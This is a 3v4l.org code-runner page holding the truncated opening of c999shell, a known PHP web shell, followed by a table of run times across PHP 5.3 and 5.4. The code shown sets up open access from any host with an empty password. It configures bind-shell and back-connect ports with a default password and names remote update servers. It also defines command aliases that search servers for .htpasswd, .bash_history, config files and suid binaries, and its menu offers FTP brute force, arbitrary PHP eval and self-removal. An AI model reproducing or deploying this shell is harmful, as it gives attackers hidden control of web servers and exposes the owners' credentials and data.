3v4l.org

run code in 300+ PHP versions simultaneously
<?php //Starting calls if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} error_reporting(5); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); $win = strtolower(substr(PHP_OS,0,3)) == "win"; define("starttime",getmicrotime()); if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} $shver = "1.0 pre-release build #16"; //Current version //CONFIGURATION AND SETTINGS if (!empty($unset_surl)) {setcookie("c999sh_surl"); $surl = "";} elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c999sh_surl",$surl);} else {$surl = $_REQUEST["c999sh_surl"]; //Set this cookie for manual SURL } $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. if ($surl_autofill_include and !$_REQUEST["c999sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. //Authentication $login = ""; //login //DON'T FORGOT ABOUT PASSWORD!!! $pass = ""; //password $md5_pass = ""; //md5-cryped pass. if null, md5($pass) $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") $login_txt = "Restricted area"; //http-auth message. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c999shell\">c999shell v.".$shver."</a>: access denied"; $gzipencode = TRUE; //Encode with gzip? $updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) $c999sh_updateurl = "http://ccteam.ru/update/c999shell/"; //Update server $c999sh_sourcesurl = "http://ccteam.ru/files/c999sh_sources/"; //Sources-server $filestealth = TRUE; //if TRUE, don't change modify- and access-time $donated_html = "<center><b>Owned by hacker</b></center>"; /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. $curdir = "./"; //start folder //$curdir = getenv("DOCUMENT_ROOT"); $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) $log_email = "user@host.tld"; //Default e-mail for sending logs $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending $sort_save = TRUE; //If TRUE then save sorting-position using cookies. // Registered file-types. // array( // "{action1}"=>array("ext1","ext2","ext3",...), // "{action2}"=>array("ext4","ext5","ext6",...), // ... // ) $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); // Registered executable file-types. // array( // string "command{i}"=>array("ext1","ext2","ext3",...), // ... // ) // {command}: %f% = filename $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); /* Highlighted files. array( i=>array({regexp},{type},{opentag},{closetag},{break}) ... ) string {regexp} - regular exp. int {type}: 0 - files and folders (as default), 1 - files only, 2 - folders only string {opentag} - open html-tag, e.g. "<b>" (default) string {closetag} - close html-tag, e.g. "</b>" (default) bool {break} - if TRUE and found match then break */ $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example array("config.php",1) // example ); $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. // array (i=>{letter} ...); string {letter} - letter of a drive //$safemode_diskettes = range("a","z"); $hexdump_lines = 8;// lines in hex preview file $hexdump_rows = 24;// 16, 24 or 32 bytes in one line $nixpwdperpage = 100; // Get first N lines from /etc/passwd $bindport_pass = "c999"; // default password for binding $bindport_port = "31373"; // default port for binding $bc_port = "31373"; // default port for back-connect $datapipe_localport = "8081"; // default port for datapipe // Command-aliases if (!$win) { $cmdaliases = array( array("-----------------------------------------------------------", "ls -la"), array("find all suid files", "find / -type f -perm -04000 -ls"), array("find suid files in current dir", "find . -type f -perm -04000 -ls"), array("find all sgid files", "find / -type f -perm -02000 -ls"), array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("find config.inc.php files", "find / -type f -name config.inc.php"), array("find config* files", "find / -type f -name \"config*\""), array("find config* files in current dir", "find . -type f -name \"config*\""), array("find all writable folders and files", "find / -perm -2 -ls"), array("find all writable folders and files in current dir", "find . -perm -2 -ls"), array("find all service.pwd files", "find / -type f -name service.pwd"), array("find service.pwd files in current dir", "find . -type f -name service.pwd"), array("find all .htpasswd files", "find / -type f -name .htpasswd"), array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("find all .bash_history files", "find / -type f -name .bash_history"), array("find .bash_history files in current dir", "find . -type f -name .bash_history"), array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("list file attributes on a Linux second extended file system", "lsattr -va"), array("show opened ports", "netstat -an | grep -i listen") ); } else { $cmdaliases = array( array("-----------------------------------------------------------", "dir"), array("show opened ports", "netstat -an") ); } $sess_cookie = "c999shvars"; // Cookie-variable name $usefsbuff = TRUE; //Buffer-function $copy_unset = FALSE; //Remove copied files from buffer after pasting //Quick launch $quicklaunch = array( array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), array("<b>Encoder</b>",$surl."act=encoder&d=%d"), array("<b>Tools</b>",$surl."act=tools&d=%d"), array("<b>Proc.</b>",$surl."act=processes&d=%d"), array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), array("<b>Sec.</b>",$surl."act=security&d=%d"), array("<b>SQL</b>",$surl."act=sql&d=%d"), array("<b>PHP-code</b>",$surl."act=eval&d=%d"), array("<b>Update</b>",$surl."act=update&d=%d"), array("<b>Feedback</b>",$surl."act=feedback&d=%d"), array("<b>Self remove</b>",$surl."act=selfremove"), array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); //Highlight-code colors $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c999shcook"]); //END CONFIGURATION // \/Next code isn't for editing\/ @set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc999shell\">c999shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } if (!function_exists("c999_buff_prepare")) { function c999_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c999_buff_prepare(); if (!function_exists("c999_sess_put")) { function c999_sess_put($data) { global $sess_cookie; global $sess_data; c999_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!funct

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.240.0140.05812.56
5.4.230.0110.03812.55
5.4.220.0150.05312.55
5.4.210.0120.04012.56
5.4.200.0150.05712.55
5.4.190.0100.06412.55
5.4.180.0140.05612.55
5.4.170.0170.05512.56
5.4.160.0140.05512.56
5.4.150.0190.05312.55
5.4.140.0180.05512.24
5.4.130.0240.05312.22
5.4.120.0070.04112.18
5.4.110.0140.06112.18
5.4.100.0130.04212.18
5.4.90.0160.06812.18
5.4.80.0180.05412.18
5.4.70.0180.05712.18
5.4.60.0200.05212.18
5.4.50.0170.05312.17
5.4.40.0110.04012.16
5.4.30.0180.05912.16
5.4.20.0130.05312.16
5.4.10.0110.04712.16
5.4.00.0150.05411.65
5.3.280.0150.06312.83
5.3.270.0150.06312.85
5.3.260.0150.06812.85
5.3.250.0200.06412.85
5.3.240.0180.06312.85
5.3.230.0110.04612.84
5.3.220.0200.05712.81
5.3.210.0260.06612.81
5.3.200.0180.06012.81
5.3.190.0220.06012.81
5.3.180.0170.06012.80
5.3.170.0180.05612.81
5.3.160.0100.04012.81
5.3.150.0170.05412.80
5.3.140.0190.05312.80
5.3.130.0130.04512.79
5.3.120.0110.04012.79
5.3.110.0150.05812.79
5.3.100.0190.05312.27
5.3.90.0120.06212.26
5.3.80.0160.05612.24
5.3.70.0110.04212.25
5.3.60.0170.05412.23
5.3.50.0110.04712.18
5.3.40.0070.04212.18
5.3.30.0100.04212.14
5.3.20.0170.05211.92
5.3.10.0100.04011.88
5.3.00.0120.04311.87

preferences:
144.28 ms | 1386 KiB | 7 Q